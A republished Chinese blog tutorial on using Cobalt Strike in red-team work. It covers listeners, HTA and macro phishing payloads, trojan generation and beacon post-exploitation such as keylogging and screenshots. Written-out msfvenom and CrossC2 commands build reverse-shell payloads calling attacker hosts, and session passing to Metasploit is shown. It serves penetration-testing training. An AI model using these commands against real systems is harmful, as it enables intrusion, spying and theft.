渗透高手必看:CobaltStrike在红队行动中的应用技巧

admin 2026-01-28 17:48:44 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详述CobaltStrike红队应用,包括环境配置、监听器与Payload生成。解析HTA、宏等载荷特性及后渗透的Beacon操作与进程迁移。同时介绍利用CrossC2上线Linux及CS与MSF会话互传技巧,为安全人员提供全面的渗透测试实战指南。 综合评分: 90 文章分类: 渗透测试,红队,内网渗透,实战经验,安全工具


cover_image

渗透高手必看:Cobalt Strike在红队行动中的应用技巧

原创

沐青序 沐青序

数字序言

2026年1月28日 07:31 福建

免责声明:本公众号内容仅供网络安全技术学习与合法研究,严禁用于非法用途。使用者须遵守法律法规,因非法使用造成的全部后果自行承担。本公众号及作者不对内容准确性作保证,不承担因此产生的任何损失。如涉及侵权,烦请告知,核实后将立即处理。感谢理解。

CS简单介绍

Cobalt Strike 是一款GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

Cobalt Strike: C/S架构的商业渗透软件,适合多人进行团队协作,可模拟AP模拟对抗,进行内网渗透。

java环境设置

使用kali默认的java版本即可/usr/lib/jvm/java-17-openjdk-amd64/bin/java

sudo update-alternatives --config java

# 需要安装其他版本可以使用以下命令
sudo apt install openjdk-8-jdk
# 学会用ai

服务端&客户端启动

注意需要给相应的文件权限

sudo ./teamserver 192.168.126.201 carmi@123
sudo ./start.sh

监听器说明

Listeners模块的所有Payload
windows/beacon_dns/reverse_dns_txt      使用DNS中的TXT类型进行数据传输
windows/beacon_dns/reverse_http         采用DNS的方式对目标主机进行管理
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https      采用SSL进行加密,有较高的隐蔽性
windows/beacon_smb/bind_pipe            只用于x64本地主机,使用 SMB 命名管道本地通信,适合内网横向
windows/foreign/reverse_http                        foreign自定义兼容性通信
windows/foreign/reverse_https
windows/foreign/reverse_tcp

模块介绍

Payloads介绍

1. HTML Application (HTA)
是什么:基于 .hta 文件(HTML Application)的恶意脚本,结合 VBScript/JavaScript。
作用:通过 IE 浏览器运行,执行任意命令。
使用场景:社会工程学攻击(钓鱼邮件、Web 诱导),如让用户点击下载并运行 HTA 文件。
优点:在旧版 Windows 和 IE 中默认允许执行,兼容性好。

2. MS Office Macro
是什么:嵌入在 Word、Excel 等 Office 文件中的 VBA 宏代码。
作用:用户打开文件并启用宏后,自动执行命令(如下载 payload)。
使用场景:鱼叉式钓鱼攻击中最常见的载体之一。
优点:社会工程学伪装性强,触发简单。

3. Stager Payload Generator
是什么:生成一个小型的初始 payload(称为 Stager),用于从攻击者服务器下载并执行真正的主载荷(Stage)。
作用:减小初始 payload 体积,绕过杀软检测。
使用场景:适合需要远程控制连接、Beacon 通信的环境,如内网持久化。
缺点:需要稳定的网络连接。

4. Stageless Payload Generator
是什么:一次性生成完整 payload,不需要后续从远程下载其他代码。
作用:直接在内存中执行,独立完成连接与执行逻辑。
使用场景:目标机器出网受限或流量监控严格时使用,适合打点、定向攻击。
优点:不依赖网络,执行更隐蔽。

5. Windows Stager Payload
是什么:为 Windows 系统定制的 Stager 类型 payload。
作用:初始感染后,连接 C2 下载主 payload。
使用场景:用于横向移动或初始打点,结合 Empire/MSF 中的监听器。

6. Windows Stageless Payload
是什么:为 Windows 定制的一体化 Payload,不依赖远程加载。
作用:适合不能访问外部网络的目标。
使用场景:红队攻防演练中用于执行一次性任务(如添加用户、执行命令、回传信息)。

7. Windows Stageless Generate All Payloads
是什么:一次性生成多种 Windows 平台可用的 Stageless Payload(可能包括 EXE、DLL、BAT、PS1、JS 等格式)。
作用:为不同攻击载体预生成所有可能使用的 payload 类型。
使用场景:准备阶段或自动化批量攻击中常用,便于快速选择最合适的方式。

| 类型 | 网络依赖 | 文件大小 | 场景适用性 | 常见用途 | | — | — | — | — | — | | HTA | 无 | 小 | 社工攻击 | 钓鱼邮件 | | Office 宏 | 可选 | 小 | 社工攻击 | 钓鱼攻击 | | Stager | 是 | 小 | 可联网目标 | 后门、持久化 | | Stageless | 否 | 大 | 无网络限制 | 初始打点、离线执行 | | Windows Stager/Stageless | 看名字 | 看名字 | 针对 Windows 平台 | 内网攻击 | | Generate All | 否 | 多格式 | 自动化批处理 | 攻击准备阶段 |

一次攻击

设置监听器

Cobalt Strike → 监听器 → Add → 设置http监听器

生成EXE木马

有效载荷 → Windows可执行程序(E) → Windows Executable

执行上线

受害者主机下载木马 → 点击直接上线

后渗透

心跳时间

默认是60秒,有两种方式能修改

  • 右键shell → 进入 beacon → 输入 sleep + 时间
  • 右键shell → 会话 → sleep → 设置时间

Beacon介绍

Beacon是Cobalt Strike为高级攻击者建模的Payload。使用Beacon通过HTTP,HTTPS或DNS出口网络。而且Beacon非常灵活,支持异步和交互式通信。异步通信既低又慢。Beacon将通讯本地,下载任务,然后进入睡眠状态。交互式通信实时发生。可以理解为msf的meterpreter。

我们在右键shell的时候,展示的菜单就是Beacon功能的默认图形化页面

进程迁移

右键shell → 凭证提取 → 新建会话 → 选中监听器 → Choose

最基础的执行系统命令

beacon> shell + 系统命令
beacon> shell dir
beacon> shell ps
beacon> shell systeminfo
beacon> getuid

屏幕截图

beacon> screenshot  # 右键shell → 屏幕截图

 查看:视图 → 屏幕截图

键盘记录

beacon> keylogger

 查看:试图 → 键盘记录

插件

Cobalt Strike → 脚本管理器 → Load → *.cna文件

CS上线Linux设备

1、下载和配置CrossC2

首先到项目地址:https://github.com/gloxec/CrossC2/releases下载两个文件

后缀为.cna的为cs的插件文件,启动cs后导入即可

2、配置HTTPS监听

Linux的shell目前只支持https,注意配置

3、生成Linux终端下的shell

第一种方法

将第二个文件放入cs目录下之后,运行如下命令:

./genCrossC2.Linux 47.100.16.83 443 .cobaltstrike.beacon_keys null Linux x64 /tmp/bktest
  • /genCrossC2.Linux :就是我们在github下载的文件。
  • .cobaltstrike.beacon_keys :是cs的证书文件,默认在cs目录下,注意是隐藏文件用ls -a命令可查看。

最后会生成到/tmp目录下,名为bktest

第二种方法

直接用crossc2直接生成,但是由于版本的多样性,这种方法并不一定会成功。建议采用第一种!

4、上线

可以正常执行命令

CS与MSF互信传递shell

CS to MSF

1、MSF创建监听器

msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_http
msf6 > set lhost msf公网地址
msf6 > set lport msf公网端口
msf6 > show options
msf6 > run

2、CS创建Foreign HTTP的监听器

Cobalt Strike → 监听器
payload:Foreign HTTP    Foreign:Foreign beacon主要用于将cobalt strike的beacon shell派生到MSF上
HTTP Host(Stager):msf公网地址
HTTP Port(Stager):msf公网端口

3、CS新建会话

CS右击shell,选择Foreign HTTP的监听器,点击Choose

4、MSF上线

MSF to CS

1、MSF上线木马

sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.201 lport=2222 -f exe -o /home/kali/Desktop/xx.exe

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.126.201
msf6 exploit(multi/handler) > set lport 2222
msf6 exploit(multi/handler) > run

2、CS设置常规监听器

3、MSF设置监听器

msf6 exploit(multi/handler) > search payload_inject
msf6 exploit(multi/handler) > use exploit/windows/local/payload_inject
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set lhost cs公网地址
msf6 exploit(windows/local/payload_inject) > set lport cs公网端口
msf6 exploit(windows/local/payload_inject) > set disablepayloadhandler true
msf6 exploit(windows/local/payload_inject) > set PrependMigrate True(可选)
msf6 exploit(windows/local/payload_inject) > set session ID 设置需要传输的session
msf6 exploit(windows/local/payload_inject) > run

# 解释
1、设置 DisablePayloadHandler 为 True,此选项会让 Metasploit Framework 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉 Metasploit Framework 说我们已经建立了监听器,不必再新建监听器了。
2、设置 PrependMigrate 为 True,此选项让 Metasploit Framework 前置 shellcode 在另一个进程中运行 payload stager,如果被利用的应用程序崩溃或被用户关闭,这会帮助 Beacon 会话存活。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:数字序言 沐青序 沐青序《渗透高手必看:Cobalt Strike在红队行动中的应用技巧》

评论:0   参与:  0